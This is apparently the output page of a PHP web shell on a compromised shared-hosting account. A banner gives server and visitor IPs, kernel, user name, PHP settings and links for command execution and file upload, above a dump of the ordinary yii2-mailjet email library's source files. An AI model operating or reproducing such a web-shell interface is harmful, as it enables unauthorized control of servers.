|
Server IP : 185.61.154.36 / Your IP : 216.73.216.119 Web Server : Apache System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : gettoplisting ( 12043) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/gettoplisting/public_html/oy5mbk/../dd7e5a-20251107115653/erk72g/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
Mailer.php 0000644 00000014201 15103305731 0006462 0 ustar 00 <?php
/**
* Contains the Mailer class
*
* @package weluse/mailjet
*/
namespace weluse\mailjet;
use Mailjet\Resources;
use yii\base\InvalidConfigException;
use yii\base\UserException;
use yii\mail\BaseMailer;
use yii\validators\UrlValidator;
class Mailer extends BaseMailer
{
private $_mailjet;
private $_apikey;
private $_secret;
/**
* set your tracking event“s url
* bsp:
* [
* 'bounce' => 'http://yoururl.com/tracking/bounce',
* ]
*/
private $_tracking;
private $_allowedTrackingEvents = [
'sent',
'open',
'click',
'bounce',
'spam',
'blocked',
'unsub',
];
/**
* @var string message default class name.
*/
public $messageClass = 'weluse\mailjet\Message';
/**
* readonly
* @var $_response Mailjet\Response
*/
private $_response;
public function init()
{
if (!$this->_apikey) {
throw new InvalidConfigException(sprintf('"%s::apikey" cannot be null.', get_class($this)));
}
if (!$this->_secret) {
throw new InvalidConfigException(sprintf('"%s::secret" cannot be null.', get_class($this)));
}
try {
$this->createMailjet();
} catch (\Exception $exc) {
\Yii::error($exc->getMessage());
throw new \Exception('an error occurred with your mailer. Please check the application logs.', 500);
}
}
/**
* Sets the API secret key for Mailjet
*
* @param string $secret
* @throws InvalidConfigException
*/
public function setSecret($secret)
{
if (!is_string($secret)) {
throw new InvalidConfigException(sprintf('"%s::secret" should be a string, "%s" given.', get_class($this), gettype($apikey)));
}
$trimmedSecret = trim($secret);
if (!strlen($trimmedSecret) > 0) {
throw new InvalidConfigException(sprintf('"%s::secret" length should be greater than 0.', get_class($this)));
}
$this->_secret = $trimmedSecret;
}
/**
* Sets the API key for Mailjet
*
* @param string $apikey the Mailjet API key
* @throws InvalidConfigException
*/
public function setApikey($apikey)
{
if (!is_string($apikey)) {
throw new InvalidConfigException(sprintf('"%s::apikey" should be a string, "%s" given.', get_class($this), gettype($apikey)));
}
$trimmedApikey = trim($apikey);
if (!strlen($trimmedApikey) > 0) {
throw new InvalidConfigException(sprintf('"%s::apikey" length should be greater than 0.', get_class($this)));
}
$this->_apikey = $trimmedApikey;
}
/**
* Create the Mailjet Object
*/
public function createMailjet()
{
$mj = new \Mailjet\Client($this->_apikey, $this->_secret);
$this->_mailjet = $mj;
}
public function getResponse()
{
return $this->_response;
}
/**
* @inheritdoc
*/
protected function sendMessage($message)
{
$recipients = [];
foreach ($message->to as $email => $name) {
$newRecipient = [];
if (!empty($email)) {
$newRecipient['Email'] = $email;
}
if (!empty($name)) {
$newRecipient['Name'] = $name;
}
$recipients[] = $newRecipient;
}
$body = [
'Subject' => $message->subject,
'Text-part' => $message->textBody,
'Html-part' => $message->htmlBody,
'Recipients' => $recipients
];
$body = array_merge($message->from, $body);
$response = $this->_mailjet->post(Resources::$Email, ['body' => $body]);
return $response->success();
}
public function setTracking($tracking)
{
if (is_array($tracking)) {
$urlValidator = new UrlValidator;
foreach ($tracking as $event => $url) {
if (in_array($event, $this->_allowedTrackingEvents)) {
if (!$urlValidator->validate($url)) {
throw new InvalidConfigException(sprintf('"%s::%s" should be a url', get_class($this), $event));
}
$this->_tracking[$event] = $url;
} else {
throw new InvalidConfigException(sprintf('the %s event is not supported', $event));
}
}
} else {
throw new InvalidConfigException('The trackingActions must be an array');
}
}
public function activateAllTrackings()
{
foreach ($this->_tracking as $event => $url) {
$this->activateTracking($event, $url);
}
return true;
}
public function activateTracking($event, $url)
{
$body = [
'EventType' => $event,
'Url' => $url,
];
$response = $this->_mailjet->post(Resources::$Eventcallbackurl, ['body' => $body]);
if (!$response->success()) {
$eventCallbackurl = Resources::$Eventcallbackurl;
$eventCallbackurl[1] = $event;
$eventExist = $this->_mailjet->get($eventCallbackurl);
$responseData = $eventExist->getData();
/* check if is the tracking url the same */
if ($responseData[0]['Url'] != $url) {
throw new UserException('You must clear your old tracking urls first: Yii::$app->mailer->clearAllTrackings(); or Yii::$app->mailer->clearTracking(\'' . $event . '\');');
}
}
return true;
}
public function clearAllTrackings()
{
foreach ($this->_tracking as $event => $url) {
$this->clearTracking($event);
}
}
public function clearTracking($event)
{
if (!in_array($event, $this->_allowedTrackingEvents)) {
throw new InvalidConfigException(sprintf('the %s event is not supported', $event));
}
$eventCallbackurl = Resources::$Eventcallbackurl;
$eventCallbackurl[1] = $event;
$response = $this->_mailjet->delete($eventCallbackurl);
}
}
LICENSE 0000644 00000002054 15103305731 0005550 0 ustar 00 MIT License
Copyright (c) 2016 weluse GmbH
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Message.php 0000644 00000007151 15103305731 0006643 0 ustar 00 <?php
namespace weluse\mailjet;
use Mailjet\Resources;
use yii\mail\BaseMessage;
use yii\base\Exception;
/**
* Contains the Message class
*
* @package weluse/mailjet
*/
class Message extends BaseMessage {
private $_charset;
private $_from;
private $_to;
private $_replyTo;
private $_cc;
private $_bcc;
private $_subject;
private $_textBody;
private $_htmlBody;
/**
* @inheritdoc
*/
public function getCharset() {
return $this->_charset;
}
/**
* @inheritdoc
*/
public function setCharset($charset) {
$this->_charset = $charset;
}
/**
* @inheritdoc
*/
public function getFrom() {
return $this->_from;
}
/**
* @inheritdoc
*/
public function setFrom($from) {
if (is_array($from)) {
$this->_from = [
'FromEmail' => key($from),
'FromName' => array_shift($from),
];
} else {
$this->_from['FromEmail'] = $from;
}
return $this;
}
/**
* @inheritdoc
*/
public function getTo() {
return $this->_to;
}
/**
* @inheritdoc
*/
public function setTo($to) {
if (!is_array($to)){
$to = [$to => ''];
}
$this->_to = $to;
return $this;
}
/**
* @inheritdoc
*/
public function getReplyTo() {
return $this->_replyTo;
}
/**
* @inheritdoc
*/
public function setReplyTo($replyTo) {
$this->_replyTo = $replyTo;
return $this;
}
/**
* @inheritdoc
*/
public function getCc() {
return $this->_cc;
}
/**
* @inheritdoc
*/
public function setCc($cc) {
$this->_cc = $cc;
return $this;
}
/**
* @inheritdoc
*/
public function getBcc() {
return $this->_bcc;
}
/**
* @inheritdoc
*/
public function setBcc($bcc) {
$this->_bcc = $bcc;
return $this;
}
/**
* @inheritdoc
*/
public function getSubject() {
return $this->_subject;
}
/**
* @inheritdoc
*/
public function setSubject($subject) {
$this->_subject = $subject;
return $this;
}
/**
* return the plain text for the mail
*/
public function getTextBody() {
return $this->_textBody;
}
/**
* @inheritdoc
*/
public function setTextBody($text) {
$this->_textBody = $text;
return $this;
}
/**
* return the html text for the mail
*/
public function getHtmlBody() {
return $this->_htmlBody;
}
/**
* @inheritdoc
*/
public function setHtmlBody($html) {
$this->_htmlBody = $html;
return $this;
}
/**
* @inheritdoc
*/
public function attach($fileName, array $options = []) {
throw new Exception('Not Implemented');
}
/**
* @inheritdoc
*/
public function attachContent($content, array $options = []) {
throw new Exception('Not Implemented');
}
/**
* @inheritdoc
*/
public function embed($fileName, array $options = []) {
throw new Exception('Not Implemented');
}
/**
* @inheritdoc
*/
public function embedContent($content, array $options = []) {
throw new Exception('Not Implemented');
}
/**
* @inheritdoc
*/
public function toString() {
return implode(',', $this->getTo()) . "\n"
. $this->getSubject() . "\n"
. $this->getTextBody();
}
}
README.md 0000644 00000002050 15103305731 0006016 0 ustar 00 # Mailjet Client
## Create Mailjet Account
https://goo.gl/YNWTwd
## Install
```
composer require weluse/yii2-mailjet
```
or add it to your composer.json in the require section
```
"weluse/yii2-mailjet": "*",
```
## Setup
add/replace this in your config under the components key.
```
'components' => [
'mailer' => [
'class' => 'weluse\mailjet\Mailer',
'apikey' => 'yourApiKey',
'secret' => 'yourSecret',
],
],
```
## Example
```
Yii::$app->mailer->compose('signup', ['user' => $user])
->setTo($user->email)
->setFrom([Yii::$app->params['noReplyMailAddress'] => Yii::$app->name])
->setSubject('Signup success')
->send();
```
## Setup Event Tracking
Write the tracking item to the mailer config.
```
'components' => [
'mailer' => [
'class' => 'weluse\mailjet\Mailer',
'apikey' => 'yourApiKey',
'secret' => 'yourSecret',
'tracking' => [
'bounce' => 'http://yoururl.com/tracking?event=bounce',
],
],
],
```
To activate this url you must run this command at one time.
```
Yii::$app->mailer->activateTracking();
```
composer.json 0000644 00000000442 15103305731 0007264 0 ustar 00 {
"name": "weluse/yii2-mailjet",
"description": "Mailjet client",
"type": "library",
"require": {
"mailjet/mailjet-apiv3-php": "1.1.5"
},
"license": "MIT",
"minimum-stability": "beta",
"autoload": {
"psr-4": { "weluse\\mailjet\\": "" }
}
}
.gitignore 0000644 00000000000 15103305731 0006520 0 ustar 00